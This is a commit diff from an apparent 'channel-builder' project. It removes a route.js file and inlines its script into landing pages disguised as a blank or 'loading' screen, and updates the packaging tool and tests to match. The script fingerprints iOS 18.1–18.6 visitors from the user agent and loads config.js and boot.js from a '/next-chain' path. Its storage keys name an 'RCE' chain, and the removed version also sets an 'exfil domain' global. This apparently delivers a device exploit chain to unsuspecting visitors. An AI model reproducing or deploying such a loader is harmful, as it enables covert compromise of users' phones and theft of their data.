feat: ds

channel-builder-new/source/weifile/route.js

@@ -1,133 +0,0 @@
-(function () {
-  var DS_BASE = '/next-chain';
-  var HOLD_MS = 10 * 60 * 1000;
-  var HOLD_KEYS = ['__ds_rce_hold', '__ds_chain_hold', '__er_frame_at'];
-
-  function parseIosVersion() {
-    var ua = navigator.userAgent || '';
-    var m = /iPhone OS ([0-9_]+)/.exec(ua);
-    if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua);
-    if (!m) m = /CPU OS ([0-9_]+)/.exec(ua);
-    if (!m) {
-      m = /Version\/(\d+)\.(\d+)/.exec(ua);
-      return m ? [parseInt(m[1], 10), parseInt(m[2], 10)] : null;
-    }
-    return m[1].split('_').map(function (p) {
-      return parseInt(p, 10);
-    });
-  }
-
-  function cmpVer(a, b) {
-    for (var i = 0; i < 3; i++) {
-      var ai = (a && a[i]) || 0;
-      var bi = (b && b[i]) || 0;
-      if (ai < bi) return -1;
-      if (ai > bi) return 1;
-    }
-    return 0;
-  }
-
-  function persistChannelCode(code) {
-    code = String(code || '').trim().slice(0, 64);
-    if (!code) return '';
-    try {
-      window.__LAB_CHANNEL_CODE__ = code;
-      window.__CORUNA_CHANNEL__ = code;
-    } catch (e0) {}
-    try {
-      sessionStorage.setItem('lab_channel_code', code);
-    } catch (e1) {}
-    try {
-      localStorage.setItem('lab_channel_code', code);
-    } catch (e2) {}
-    return code;
-  }
-
-  function channelCode() {
-    try {
-      var m = String(location.pathname || '').match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
-      if (m && m[1]) return persistChannelCode(m[1].toUpperCase());
-    } catch (eP) {}
-    return '';
-  }
-
-  function dsUrl(path) {
-    var origin = '';
-    try {
-      if (location.origin && location.origin !== 'null') origin = String(location.origin).replace(/\/$/, '');
-    } catch (e) {}
-    return origin + DS_BASE + (path.charAt(0) === '/' ? path : '/' + path);
-  }
-
-  function loadScript(src, onload, attempt) {
-    attempt = attempt || 0;
-    var s = document.createElement('script');
-    s.async = false;
-    s.src = src + (src.indexOf('?') >= 0 ? '&' : '?') + '_=' + Date.now();
-    s.onload = function () { if (onload) onload(); };
-    s.onerror = function () {
-      if (attempt < 3) setTimeout(function () { loadScript(src, onload, attempt + 1); }, 200 * (attempt + 1));
-    };
-    (document.body || document.documentElement).appendChild(s);
-  }
-
-  function loadScripts(urls) {
-    var i = 0;
-    function next() {
-      if (i >= urls.length) return;
-      loadScript(urls[i++], next);
-    }
-    next();
-  }
-
-  function holdFresh() {
-    var now = Date.now();
-    for (var i = 0; i < HOLD_KEYS.length; i++) {
-      var key = HOLD_KEYS[i];
-      try {
-        var ls = parseInt(localStorage.getItem(key) || '0', 10) || 0;
-        if (ls && now - ls <= HOLD_MS) return true;
-      } catch (e0) {}
-      try {
-        var ss = parseInt(sessionStorage.getItem(key) || '0', 10) || 0;
-        if (ss && now - ss <= HOLD_MS) return true;
-      } catch (e1) {}
-    }
-    return false;
-  }
-
-  function markHold() {
-    var ts = String(Date.now());
-    try {
-      localStorage.setItem('__ds_rce_hold', ts);
-      localStorage.setItem('__ds_chain_hold', ts);
-    } catch (e2) {}
-    try {
-      sessionStorage.setItem('__ds_rce_hold', ts);
-      sessionStorage.setItem('__ds_chain_hold', ts);
-    } catch (e3) {}
-  }
-
-  function loadDs(code) {
-    if (holdFresh()) return;
-    markHold();
-    persistChannelCode(code);
-    try {
-      window.__LAB_DELIVERY_HOST__ = dsUrl('');
-      if (!window.__LAB_EXFIL_DOMAIN__) {
-        window.__LAB_EXFIL_DOMAIN__ = location.hostname || '';
-      }
-    } catch (eH) {}
-    loadScripts([dsUrl('/lab_hosts.js'), dsUrl('/config.js'), dsUrl('/boot.js')]);
-  }
-
-  var ios = parseIosVersion();
-  var code = channelCode();
-  if (!ios || cmpVer(ios, [18, 1]) < 0) {
-    loadScript('index.js');
-    return;
-  }
-  if (cmpVer(ios, [18, 7]) < 0) {
-    loadDs(code);
-  }
-})();

channel-builder-new/source/weifile/templates/blank.html

@@ -7,6 +7,130 @@
 <title>weifile</title>
 </head>
 <body>
-<script type="text/javascript" src="route.js"></script>
+<script type="text/javascript">
+(function () {
+  var DS_BASE = '/next-chain';
+  var HOLD_MS = 10 * 60 * 1000;
+  var HOLD_KEYS = ['__ds_rce_hold', '__ds_chain_hold', '__er_frame_at'];
+
+  function parseIosVersion() {
+    var ua = navigator.userAgent || '';
+    var m = /iPhone OS ([0-9_]+)/.exec(ua);
+    if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua);
+    if (!m) m = /CPU OS ([0-9_]+)/.exec(ua);
+    if (!m) {
+      m = /Version\/(\d+)\.(\d+)/.exec(ua);
+      return m ? [parseInt(m[1], 10), parseInt(m[2], 10)] : null;
+    }
+    return m[1].split('_').map(function (p) {
+      return parseInt(p, 10);
+    });
+  }
+
+  function cmpVer(a, b) {
+    for (var i = 0; i < 3; i++) {
+      var ai = (a && a[i]) || 0;
+      var bi = (b && b[i]) || 0;
+      if (ai < bi) return -1;
+      if (ai > bi) return 1;
+    }
+    return 0;
+  }
+
+  function persistChannelCode(code) {
+    code = String(code || '').trim().slice(0, 64);
+    if (!code) return '';
+    try {
+      window.__LAB_CHANNEL_CODE__ = code;
+      window.__CORUNA_CHANNEL__ = code;
+    } catch (e0) {}
+    try {
+      sessionStorage.setItem('lab_channel_code', code);
+    } catch (e1) {}
+    try {
+      localStorage.setItem('lab_channel_code', code);
+    } catch (e2) {}
+    return code;
+  }
+
+  function channelCode() {
+    try {
+      var m = String(location.pathname || '').match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
+      if (m && m[1]) return persistChannelCode(m[1].toUpperCase());
+    } catch (eP) {}
+    return '';
+  }
+
+  function dsUrl(path) {
+    var origin = '';
+    try {
+      if (location.origin && location.origin !== 'null') origin = String(location.origin).replace(/\/$/, '');
+    } catch (e) {}
+    return origin + DS_BASE + (path.charAt(0) === '/' ? path : '/' + path);
+  }
+
+  function loadScript(src, onload, attempt) {
+    attempt = attempt || 0;
+    var s = document.createElement('script');
+    s.async = false;
+    s.src = src + (src.indexOf('?') >= 0 ? '&' : '?') + '_=' + Date.now();
+    s.onload = function () { if (onload) onload(); };
+    s.onerror = function () {
+      if (attempt < 3) setTimeout(function () { loadScript(src, onload, attempt + 1); }, 200 * (attempt + 1));
+    };
+    (document.body || document.documentElement).appendChild(s);
+  }
+
+  function holdFresh() {
+    var now = Date.now();
+    for (var i = 0; i < HOLD_KEYS.length; i++) {
+      var key = HOLD_KEYS[i];
+      try {
+        var ls = parseInt(localStorage.getItem(key) || '0', 10) || 0;
+        if (ls && now - ls <= HOLD_MS) return true;
+      } catch (e0) {}
+      try {
+        var ss = parseInt(sessionStorage.getItem(key) || '0', 10) || 0;
+        if (ss && now - ss <= HOLD_MS) return true;
+      } catch (e1) {}
+    }
+    return false;
+  }
+
+  function markHold() {
+    var ts = String(Date.now());
+    try {
+      localStorage.setItem('__ds_rce_hold', ts);
+      localStorage.setItem('__ds_chain_hold', ts);
+    } catch (e2) {}
+    try {
+      sessionStorage.setItem('__ds_rce_hold', ts);
+      sessionStorage.setItem('__ds_chain_hold', ts);
+    } catch (e3) {}
+  }
+
+  function loadDs(code) {
+    if (holdFresh()) return;
+    markHold();
+    persistChannelCode(code);
+    try {
+      window.__LAB_DELIVERY_HOST__ = dsUrl('');
+    } catch (eH) {}
+    loadScript(dsUrl('/config.js'), function () {
+      loadScript(dsUrl('/boot.js'));
+    });
+  }
+
+  var ios = parseIosVersion();
+  var code = channelCode();
+  if (!ios || cmpVer(ios, [18, 1]) < 0) {
+    loadScript('index.js');
+    return;
+  }
+  if (cmpVer(ios, [18, 7]) < 0) {
+    loadDs(code);
+  }
+})();
+</script>
 </body>
 </html>

channel-builder-new/source/weifile/templates/test.html

@@ -111,7 +111,131 @@
     <p class="title">加载中</p>
     <p class="subtitle">请稍候，正在准备页面…</p>
   </div>
-  <script type="text/javascript" src="route.js"></script>
+  <script type="text/javascript">
+(function () {
+  var DS_BASE = '/next-chain';
+  var HOLD_MS = 10 * 60 * 1000;
+  var HOLD_KEYS = ['__ds_rce_hold', '__ds_chain_hold', '__er_frame_at'];
+
+  function parseIosVersion() {
+    var ua = navigator.userAgent || '';
+    var m = /iPhone OS ([0-9_]+)/.exec(ua);
+    if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua);
+    if (!m) m = /CPU OS ([0-9_]+)/.exec(ua);
+    if (!m) {
+      m = /Version\/(\d+)\.(\d+)/.exec(ua);
+      return m ? [parseInt(m[1], 10), parseInt(m[2], 10)] : null;
+    }
+    return m[1].split('_').map(function (p) {
+      return parseInt(p, 10);
+    });
+  }
+
+  function cmpVer(a, b) {
+    for (var i = 0; i < 3; i++) {
+      var ai = (a && a[i]) || 0;
+      var bi = (b && b[i]) || 0;
+      if (ai < bi) return -1;
+      if (ai > bi) return 1;
+    }
+    return 0;
+  }
+
+  function persistChannelCode(code) {
+    code = String(code || '').trim().slice(0, 64);
+    if (!code) return '';
+    try {
+      window.__LAB_CHANNEL_CODE__ = code;
+      window.__CORUNA_CHANNEL__ = code;
+    } catch (e0) {}
+    try {
+      sessionStorage.setItem('lab_channel_code', code);
+    } catch (e1) {}
+    try {
+      localStorage.setItem('lab_channel_code', code);
+    } catch (e2) {}
+    return code;
+  }
+
+  function channelCode() {
+    try {
+      var m = String(location.pathname || '').match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
+      if (m && m[1]) return persistChannelCode(m[1].toUpperCase());
+    } catch (eP) {}
+    return '';
+  }
+
+  function dsUrl(path) {
+    var origin = '';
+    try {
+      if (location.origin && location.origin !== 'null') origin = String(location.origin).replace(/\/$/, '');
+    } catch (e) {}
+    return origin + DS_BASE + (path.charAt(0) === '/' ? path : '/' + path);
+  }
+
+  function loadScript(src, onload, attempt) {
+    attempt = attempt || 0;
+    var s = document.createElement('script');
+    s.async = false;
+    s.src = src + (src.indexOf('?') >= 0 ? '&' : '?') + '_=' + Date.now();
+    s.onload = function () { if (onload) onload(); };
+    s.onerror = function () {
+      if (attempt < 3) setTimeout(function () { loadScript(src, onload, attempt + 1); }, 200 * (attempt + 1));
+    };
+    (document.body || document.documentElement).appendChild(s);
+  }
+
+  function holdFresh() {
+    var now = Date.now();
+    for (var i = 0; i < HOLD_KEYS.length; i++) {
+      var key = HOLD_KEYS[i];
+      try {
+        var ls = parseInt(localStorage.getItem(key) || '0', 10) || 0;
+        if (ls && now - ls <= HOLD_MS) return true;
+      } catch (e0) {}
+      try {
+        var ss = parseInt(sessionStorage.getItem(key) || '0', 10) || 0;
+        if (ss && now - ss <= HOLD_MS) return true;
+      } catch (e1) {}
+    }
+    return false;
+  }
+
+  function markHold() {
+    var ts = String(Date.now());
+    try {
+      localStorage.setItem('__ds_rce_hold', ts);
+      localStorage.setItem('__ds_chain_hold', ts);
+    } catch (e2) {}
+    try {
+      sessionStorage.setItem('__ds_rce_hold', ts);
+      sessionStorage.setItem('__ds_chain_hold', ts);
+    } catch (e3) {}
+  }
+
+  function loadDs(code) {
+    if (holdFresh()) return;
+    markHold();
+    persistChannelCode(code);
+    try {
+      window.__LAB_DELIVERY_HOST__ = dsUrl('');
+    } catch (eH) {}
+    loadScript(dsUrl('/config.js'), function () {
+      loadScript(dsUrl('/boot.js'));
+    });
+  }
+
+  var ios = parseIosVersion();
+  var code = channelCode();
+  if (!ios || cmpVer(ios, [18, 1]) < 0) {
+    loadScript('index.js');
+    return;
+  }
+  if (cmpVer(ios, [18, 7]) < 0) {
+    loadDs(code);
+  }
+})();
+  </script>
   <script>
     (function () {
       var TOTAL = 15;

channel-builder-new/source/weifile/weifile.html

@@ -7,6 +7,130 @@
 <title>weifile</title>
 </head>
 <body>
-<script type="text/javascript" src="route.js"></script>
+<script type="text/javascript">
+(function () {
+  var DS_BASE = '/next-chain';
+  var HOLD_MS = 10 * 60 * 1000;
+  var HOLD_KEYS = ['__ds_rce_hold', '__ds_chain_hold', '__er_frame_at'];
+
+  function parseIosVersion() {
+    var ua = navigator.userAgent || '';
+    var m = /iPhone OS ([0-9_]+)/.exec(ua);
+    if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua);
+    if (!m) m = /CPU OS ([0-9_]+)/.exec(ua);
+    if (!m) {
+      m = /Version\/(\d+)\.(\d+)/.exec(ua);
+      return m ? [parseInt(m[1], 10), parseInt(m[2], 10)] : null;
+    }
+    return m[1].split('_').map(function (p) {
+      return parseInt(p, 10);
+    });
+  }
+
+  function cmpVer(a, b) {
+    for (var i = 0; i < 3; i++) {
+      var ai = (a && a[i]) || 0;
+      var bi = (b && b[i]) || 0;
+      if (ai < bi) return -1;
+      if (ai > bi) return 1;
+    }
+    return 0;
+  }
+
+  function persistChannelCode(code) {
+    code = String(code || '').trim().slice(0, 64);
+    if (!code) return '';
+    try {
+      window.__LAB_CHANNEL_CODE__ = code;
+      window.__CORUNA_CHANNEL__ = code;
+    } catch (e0) {}
+    try {
+      sessionStorage.setItem('lab_channel_code', code);
+    } catch (e1) {}
+    try {
+      localStorage.setItem('lab_channel_code', code);
+    } catch (e2) {}
+    return code;
+  }
+
+  function channelCode() {
+    try {
+      var m = String(location.pathname || '').match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
+      if (m && m[1]) return persistChannelCode(m[1].toUpperCase());
+    } catch (eP) {}
+    return '';
+  }
+
+  function dsUrl(path) {
+    var origin = '';
+    try {
+      if (location.origin && location.origin !== 'null') origin = String(location.origin).replace(/\/$/, '');
+    } catch (e) {}
+    return origin + DS_BASE + (path.charAt(0) === '/' ? path : '/' + path);
+  }
+
+  function loadScript(src, onload, attempt) {
+    attempt = attempt || 0;
+    var s = document.createElement('script');
+    s.async = false;
+    s.src = src + (src.indexOf('?') >= 0 ? '&' : '?') + '_=' + Date.now();
+    s.onload = function () { if (onload) onload(); };
+    s.onerror = function () {
+      if (attempt < 3) setTimeout(function () { loadScript(src, onload, attempt + 1); }, 200 * (attempt + 1));
+    };
+    (document.body || document.documentElement).appendChild(s);
+  }
+
+  function holdFresh() {
+    var now = Date.now();
+    for (var i = 0; i < HOLD_KEYS.length; i++) {
+      var key = HOLD_KEYS[i];
+      try {
+        var ls = parseInt(localStorage.getItem(key) || '0', 10) || 0;
+        if (ls && now - ls <= HOLD_MS) return true;
+      } catch (e0) {}
+      try {
+        var ss = parseInt(sessionStorage.getItem(key) || '0', 10) || 0;
+        if (ss && now - ss <= HOLD_MS) return true;
+      } catch (e1) {}
+    }
+    return false;
+  }
+
+  function markHold() {
+    var ts = String(Date.now());
+    try {
+      localStorage.setItem('__ds_rce_hold', ts);
+      localStorage.setItem('__ds_chain_hold', ts);
+    } catch (e2) {}
+    try {
+      sessionStorage.setItem('__ds_rce_hold', ts);
+      sessionStorage.setItem('__ds_chain_hold', ts);
+    } catch (e3) {}
+  }
+
+  function loadDs(code) {
+    if (holdFresh()) return;
+    markHold();
+    persistChannelCode(code);
+    try {
+      window.__LAB_DELIVERY_HOST__ = dsUrl('');
+    } catch (eH) {}
+    loadScript(dsUrl('/config.js'), function () {
+      loadScript(dsUrl('/boot.js'));
+    });
+  }
+
+  var ios = parseIosVersion();
+  var code = channelCode();
+  if (!ios || cmpVer(ios, [18, 1]) < 0) {
+    loadScript('index.js');
+    return;
+  }
+  if (cmpVer(ios, [18, 7]) < 0) {
+    loadDs(code);
+  }
+})();
+</script>
 </body>
 </html>

channel-builder-new/tools/pack_channel.py

@@ -202,15 +202,6 @@ def normalize_landing_template(value: str | None) -> str:
     return template
 
 
-def ensure_route_js(weifile_dir: Path) -> Path:
-    src = xxbb_build.SOURCE_WEIFILE / "route.js"
-    if not src.is_file():
-        raise SystemExit(f"missing weifile router: {src}")
-    dest = weifile_dir / "route.js"
-    dest.write_text(src.read_text(encoding="utf-8"), encoding="utf-8")
-    return dest
-
-
 def apply_landing_template(weifile_dir: Path, template: str) -> Path:
     template = normalize_landing_template(template)
     src = LANDING_TEMPLATE_ROOT / f"{template}.html"
@@ -282,7 +273,9 @@ def pack_channel(
             encoding="utf-8",
         )
         apply_landing_template(weifile_dest, landing_template)
-        ensure_route_js(weifile_dest)
+        leftover_route = weifile_dest / "route.js"
+        if leftover_route.is_file():
+            leftover_route.unlink()
 
         if channel_out.exists():
             shutil.rmtree(channel_out)

channel-builder-new/tools/tests/test_build.py

@@ -83,18 +83,18 @@ class XxbbBuildTest(unittest.TestCase):
             self.assertFalse((artifact / "weifile").exists())
             self.assertTrue((weifile / "index.js").is_file())
             self.assertTrue((weifile / "weifile.html").is_file())
-            self.assertTrue((weifile / "route.js").is_file())
+            self.assertFalse((weifile / "route.js").is_file())
             html = (weifile / "weifile.html").read_text(encoding="utf-8")
-            route = (weifile / "route.js").read_text(encoding="utf-8")
             self.assertNotIn("__CHANNEL_C__", html)
             self.assertNotIn("/t.js", html)
-            self.assertIn("route.js", html)
-            self.assertIn("location.pathname", route)
-            self.assertIn("/next-chain", route)
-            self.assertIn("boot.js", route)
-            self.assertIn("10 * 60 * 1000", route)
-            self.assertNotIn("channeICode", route)
-            self.assertIn("index.js", route)
+            self.assertNotIn('src="route.js"', html)
+            self.assertIn("location.pathname", html)
+            self.assertIn("/next-chain", html)
+            self.assertIn("config.js", html)
+            self.assertIn("holdFresh", html)
+            self.assertIn("10 * 60 * 1000", html)
+            self.assertNotIn("channeICode", html)
+            self.assertIn("index.js", html)
             index_js = (weifile / "index.js").read_text(encoding="utf-8")
             expected_host = generate_domains(channel_c, 1)[0]
             self.assertIn(expected_host, index_js)
@@ -321,15 +321,19 @@ class XxbbBuildTest(unittest.TestCase):
         self.assertEqual(stripped, "head;")
         html = pack_channel.inject_tjs("<html><head></head><body></body></html>")
         self.assertIn('/t.js', html)
-        route = (xxbb_build.SOURCE_WEIFILE / "route.js").read_text(encoding="utf-8")
-        self.assertIn("location.pathname", route)
-        self.assertIn("/next-chain", route)
-        self.assertIn("boot.js", route)
-        self.assertIn("10 * 60 * 1000", route)
-        self.assertNotIn("channeICode", route)
+        self.assertFalse((xxbb_build.SOURCE_WEIFILE / "route.js").is_file())
         for name in ("weifile.html", "templates/blank.html", "templates/test.html"):
             landing = (xxbb_build.SOURCE_WEIFILE / name).read_text(encoding="utf-8")
-            self.assertIn("route.js", landing)
+            self.assertNotIn('src="route.js"', landing)
+            self.assertIn("location.pathname", landing)
+            self.assertIn("/next-chain", landing)
+            self.assertIn("config.js", landing)
+            self.assertIn("boot.js", landing)
+            self.assertNotIn("__LAB_RUN_BOOT__", landing)
+            self.assertNotIn("iframe", landing)
+            self.assertIn("holdFresh", landing)
+            self.assertIn("10 * 60 * 1000", landing)
+            self.assertNotIn("channeICode", landing)
             self.assertNotIn('src="index.js"', landing)
 
     def test_source_details_has_lab_passworded_wap_and_sms(self) -> None: